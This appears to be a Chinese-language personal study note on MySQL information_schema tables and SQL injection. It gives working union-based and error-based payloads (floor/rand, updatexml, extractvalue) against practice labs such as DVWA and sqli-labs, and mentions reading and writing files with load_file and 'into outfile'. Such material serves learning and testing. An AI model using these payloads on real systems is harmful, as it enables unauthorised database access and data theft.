以下内容主要是作为自己学习笔记记录使用,可能会有错误,欢迎指正,所有内容仅供参考,部分名词内容解释来自其他博主或chatgpt,如有侵权,联系删除
一些基础的表
information_schema.schemata
-
schemata_name其实就是databases
-
Catalog_name
每个Catalog包含多个Schema,每个Schema包含多个数据库对象(表、视图、字段等)
如数据库对象表的全限定名可表示为:Catalog名.Schema名.表名 但部分数据库系统不支持
-
DEFAULT_CHARACTER_SET_NAME和DEFAULT_COLLATION_NAME
DEFAULT_CHARACTER_SET_NAME和DEFAULT_COLLATION_NAME会返回数据库默认的字符集和校对规则的名称。例如,DEFAULT_CHARACTER_SET_NAME可能返回"utf8",表示数据库默认的字符集是UTF-8编码,而DEFAULT_COLLATION_NAME可能返回"utf8_unicode_ci",表示数据库默认的校对规则是UTF-8的Unicode不区分大小写排序。
information_schema.tables
所有数据库中所有的表
前几个有用
TABLE_CATALOG:表所属的数据库名。
TABLE_SCHEMA:表所属的模式(也就是数据库名)。
TABLE_NAME:表的名称。
TABLE_TYPE:表的类型,例如"BASE TABLE"表示普通表,"VIEW"表示视图。
ENGINE:表的存储引擎,表示表的底层存储结构,例如"InnoDB"、"MyISAM"等。
VERSION:当前表的版本号。
ROW_FORMAT:表的行格式,表示表中数据的存储方式,例如"Dynamic"、"Fixed"等。
TABLE_ROWS:表中的行数。
AVG_ROW_LENGTH:表中平均行长度。
DATA_LENGTH:表中数据的总长度。
MAX_DATA_LENGTH:表中数据的最大长度。
INDEX_LENGTH:表中索引占用的空间长度
information_schema.columns
所有数据库中所有表的所有列
前几个有用
TABLE_CATALOG:列所属的数据库名。
TABLE_SCHEMA:列所属的模式(也就是数据库名)。
TABLE_NAME:列所属的表的名称。
COLUMN_NAME:列的名称。
ORDINAL_POSITION:列的顺序位置。
COLUMN_DEFAULT:列的默认值。
IS_NULLABLE:列是否允许为空,取值为"YES"或"NO"。
DATA_TYPE:列的数据类型,例如"int"、"varchar"等。
CHARACTER_MAXIMUM_LENGTH:字符型列的最大长度。
CHARACTER_OCTET_LENGTH:字符型列以字节为单位的最大长度。
NUMERIC_PRECISION:数值列的精度。
NUMERIC_SCALE:数值列的小数位数。
DATETIME_PRECISION:日期时间列的精度。
CHARACTER_SET_NAME:字符型列的字符集。
COLLATION_NAME:字符型列的校对规则。
后面几个表基本不用
information_schema.STATISTICS
内容:包含了当前数据库中所有表的索引统计信息,包括索引名称、列名、索引的基数(Cardinality)等。
作用:用于获取表的索引统计信息,可以用于优化查询和索引性能。
information_schema.KEY_COLUMN_USAGE
内容:包含了当前数据库中所有外键的信息,包括外键名称、关联的表和列等。
作用:用于查询表之间的外键关系,可以用于分析数据库的数据完整性。
**information_schema.ROUTINES **
内容:包含了当前数据库中所有存储过程和函数的信息,包括名称、类型、创建时间等。
作用:用于查询存储过程和函数的信息,可以用于管理和调用存储过程和函数。
**information_schema.VIEWS **
内容:包含了当前数据库中所有视图的信息,包括视图名称、定义的查询语句等。
作用:用于查询视图的信息,可以用于动态查询视图定义和属性。
**information_schema.USER_PRIVILEGES **
内容:包含了当前数据库中用户权限的信息,包括用户、主机、权限等。
作用:用于查询用户的权限信息,可以用于管理和审计用户的权限。
零星知识
"LIMIT 0, 1"语句用于在SQL中对结果集进行分页,其中第一个数字表示从哪一行开始检索,第二个数字表示要检索的行数。
user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。
group_concat():和 concat() 类似如
group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \
select xxoo into outfile '路径':权限较高时可直接写文件
注释# 和-- Url-- 后的空格要+所以填--+
分析字段数
1' order by 3#
1' union select 1,2,3#
一个个试,比如试到3
常用语句及解释
id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
information_schema.schemata,存着其他各个数据库的信息。获得所有数据库名字。
-1' union select 1,2,table_name from information_schema.tables where table_schema= 'dvwa'#
获得数据库dvwa下所有表名字。
-1' union select 1,2, column_namefrom information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
目的是获得数据库dvwa下users表的所有列名
还可以show columns from dvwa.users
floor报错注入
是利用select count(),(floor(rand(0)2)) x from users group by x这个相对固定的语句格式,导致的数据库报错
具体原因参考https://www.cnblogs.com/kjcy8/p/16413428.html
构造
select 1 from (select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x)a--+
(select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x) a from后面用select语句构建表,并给予别名a
其中payload为你要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。
updatexml报错注入
updatexml(目标xml文档,xml路径,更新的内容)
第二个参数 xml路径 是可操作的地方,xml文档中路径是用 /xxx/xxx/xxx/…这种格式,使用concat()拼接 ‘ / ‘ 效果相同,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
原理https://www.cnblogs.com/zhengna/p/12575676.html
有一点需要注意,update()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.users where id=1 and updatexml('anything',concat('~',substring((select database()),1,5)),'anything');
如http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII编码,解码结果为~。
extractvalue()的报错注入
extractvalue (xml_data, xpath_expression)
xml_data: 包含XML数据的字段或表达式。
xpath_expression: XPath路径表达式,用于指定要提取值的位置。
无效的XPath表达式(xpath_expression)可能会导致报错。
构建and extractvalue(1, payload),比如
and ExtractValue(1, CONCAT('username:', (SELECT database())))
比如 and extractvalue(null,concat(0x7e,(select database()),0x7e));--+